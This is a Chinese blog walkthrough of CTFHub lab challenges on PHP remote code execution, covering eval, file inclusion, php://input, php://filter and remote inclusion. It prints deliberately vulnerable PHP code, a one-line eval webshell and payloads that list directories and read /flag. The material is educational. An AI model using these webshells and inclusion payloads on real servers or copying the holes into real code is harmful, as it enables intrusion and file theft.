ctfhub技能树RCE部分(待完善)

在这里插入图片描述

eval执行

eval执行就是远程代码执行

看看代码

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

连上蚁剑

在这里插入图片描述
连上会发现这是一个Linux系统,要使用简单的Linux命令

在这里插入图片描述

  • ls 列出目录中的文件
  • cd 选择要进入的目录
  • cd / 返回到根目录
  • cat 查看文件

更多命令见linux常用命令学习

再次温馨提示:学习Linux下常见命令

另一种方式就是直接通过url传参来查找flag

使用system函数system("ls");列出目录中的文件

在这里插入图片描述
加上 /返回到根目录

在这里插入图片描述
使用cat命令cat /flagxxx

在这里插入图片描述
得到flag

文件包含

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ? i have a shell, how to use it ?
i have a shell, how to use it ?

在这里插入图片描述
点击shell会跳转到shell.txt文件

在这里插入图片描述

<?php eval($_REQUEST['ctfhub']);?>

php一句话木马。$_REQUEST包含了$_GET$_POST$_COOKIE的所有内容,是它们的集合体。也就是说只要用其中一种方式做一个表单,把ctfhub这个变量给POST或者GET,甚至用cookies就可以把传输上去的内容执行。简而言之吧,就是执行ctfhub的值

这里的意思就是要包含的内容为ctfhub=xxx
还要以post方式传参,事实证明使用get方式同样可以传参
如下图:

在这里插入图片描述

函数学习:

strpos(string,find,start) 查找字符串在另一字符串中第一次出现的位置

在这里插入图片描述
ls看一下当前目录下的文件

在这里插入图片描述
使用find查找命令,发现只有shell.txt和index.txt文件,要使用find /来查找根目录下的文件

在这里插入图片描述
使用find /并查找flag

在这里插入图片描述
或者是使用find查找的进阶用法find -name flag

-name xxx//根据文件名查找(精确查找)
-iname xxx//根据文件名查找,但是不区分大小写

而加上/的意思就是到根目录下找flag文件

在这里插入图片描述

使用cat /flag在根目录下的flag中进行查找

在这里插入图片描述

php://input

 <?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a> i don't have shell, how to get flag?
phpinfo

在这里插入图片描述函数学习:

substr() 返回字符串的一部分
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0

在这里插入图片描述
上面代码的意思就是判断get方式传的参数file的前六个字符是否为php://,是的话进行文件包含,不是的话输出Hacker!!!

点击phpinfo后可以看到php版本
在这里插入图片描述
还会发现allow_url_include On 说明可以使用php://input伪协议

在这里插入图片描述
看一下原来的笔记

在这里插入图片描述
在这里插入图片描述
同上一关的文件包含进行构造读取flag

在这里插入图片描述在这里插入图片描述
不过也发现find /-name flag或者find /-iname flag不能执行成功
同时还发现cat /flagxxx能回显成功,但是cat / flagxxx没有成功,就是在/后面多了一个空格

读取源代码

 <?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code> i don't have shell, how to get flag?
flag in /flag

在这里插入图片描述同上一关尝试php://input并没有回显

在这里插入图片描述这里要使用另一种php伪协议php://filter

php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。简单理解就是个可以读取数据的过滤器。我们可以用它选择想要进行操作并读取的内容

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例

在这里插入图片描述
详见大佬的文章php://filter妙用

进行构造:?file=php://filter/resource=/flag

在这里插入图片描述

远程包含

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a> i don't have shell, how to get flag?
phpinfo

在这里插入图片描述
看一下php的一些配置

在这里插入图片描述这里的配置选项也是打开的

allow_url_fopen = On 是否允许打开远程文件 allow_url_include = On
是否允许include/require远程文件

就是php://input那关的操作
在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值